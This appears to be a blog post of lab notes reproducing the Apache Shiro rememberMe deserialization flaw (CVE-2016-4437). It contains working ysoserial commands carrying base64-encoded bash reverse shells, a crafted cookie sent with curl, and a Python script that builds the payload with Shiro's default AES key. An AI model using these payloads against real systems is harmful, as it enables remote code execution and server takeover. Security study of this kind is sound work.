• shiro反序列化


    shiro反序列化

    CVE-2016-4437
    服务器:192.168.43.127
    攻击机:192.168.43.149

    1 原理

    shiro有记住密码的功能,密码是一段存储的cookie,其中shiro记住密码,功能就是下次登录不用再输入密码了,走了以下流程 反序列化-base64-aes加密,可以伪造一个带有bash反弹shell的cookie,流程暂定,还需要再次确认。

    http://192.168.43.127:8080
    样子
    在这里插入图片描述
    特征
    在这里插入图片描述
    burp-shiro插件也检测出来了key

    在这里插入图片描述

    2 复现方式

    (1)使用现成的工具,一键利用,反弹shell
    工具下载链接
    目测dnslog可以成功,其他都不行
    无需选择,自动跑
    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述
    反弹shell,在kali机开启监听
    在这里插入图片描述
    在这里插入图片描述
    kali接收到shell在这里插入图片描述

    (2)使用反序列化,暂时不太成功,暂时拿不到反弹的shell,正在反思原因,反思后,问题解决,使用CommonsCollections6

    • java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjE0OS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-I}”
      bash往192.168.43.149弹shell
      在这里插入图片描述
    • python3 shiro.py 192.168.43.149:6666

    在这里插入图片描述

    • 发送payload,200成功
      在这里插入图片描述

    • 弹回来shell
      在这里插入图片描述

    发送cookie的curl方法,虽然是405,也可以弹回来shell
    实际测试,即使不加/doLogin,直接给端口发也可以成功
    curl -H “Cookie:rememberMe=dX3OOTh9SgeaquQwE0rhN5uE9GvMyuGHY212yGd+WfCLN2Wh7tj2bsFbYr4bFbxrQkuqNP8EKOuVImFxBSc+wdNP3jZprzQESs2rsfYt+EoIZ1PVES9ef43sC4CgC5hJXPUAVq2OWXmv+f6Nd1UV7AH8wtuN0frTWF1f6188Te3gQ5QZKAi3k5PF9RAFQMG5xWBhxr4UR/dX+aMZdcc4z5SdjoUX9qlGg3lnnUSjeAA+JT4akLH2QR7TTjYUu6XyDzOXLfgoZNzb1oVcj2bPDPZOguWdRfQ9j6lFa3TauxBUhx3qnUaixfo94hvNWITOE9EkC842B83IPEFAb4/t/CmJGJ7EiIv+RIjdE8EssPgtNZbuptdXKYkCMGmtDW4+i3Aa+pZ/enAJhTlOoJ6gIQ==” -I http://192.168.43.127:8080/doLogin

    在这里插入图片描述
    在这里插入图片描述

    shiro.py的源码

    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])    
        print("encode_rememberMe={0}".format(payload.decode()))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    在这里插入图片描述

    3 待解决的问题

    • key是什么,作用是什么
    • cookie识别调用的过程
    • 生成cookie的代码是否可以自己写,其中网上错误的代码导致报错,原因是print少了一对括号,还是要有自己的判断能力。在这里插入图片描述

    在这里插入图片描述

    错误示范

    • kail使用ysoserial启一个1099端口
      那一段是bash反弹shell经过base64加密的代码,但是CommonsCollections4无法成功

      java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 “bash -c {echo,YmFzaCAtaSAgPiYgIC9kZXYvdGNwLzE5Mi4xNjguNDMuMTQ5Lzk5OTkgMD4mMQo=}|{base64,-d}|{bash,-i}”

    在这里插入图片描述

    4 参考链接

    (1)https://xz.aliyun.com/t/9488			#反弹shell的其他形式
     (2) https://blog.csdn.net/m0_48520508/article/details/107770264?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522162079768016780269831639%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=162079768016780269831639&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-3-107770264.first_rank_v2_pc_rank_v29&utm_term=cve-2016-4437			#maven和ysoserial配置
    
    • 1
    • 2

    在这里插入图片描述

  • 相关阅读:
    vue通过span-method合并列之后,合并列显示在中间位置,根据鼠标滑动跟随展示
    J2EE项目部署与发布(Windows版本)
    C语言第入门——第十六课
    [漏洞分析] CVE-2022-2588 route4 double free内核提权
    图/图的存储/图的遍历
    机器学习中的常见分类方法汇总
    sql调优
    培训机构借助创客匠人发力线上业务
    android:editText控件输入框输入达到上限后输入自动不计入
    历时30天的腾讯软件测试岗面试血泪史,最终拿到offer25K+16薪
  • 原文地址:https://blog.csdn.net/m0_67390379/article/details/126496274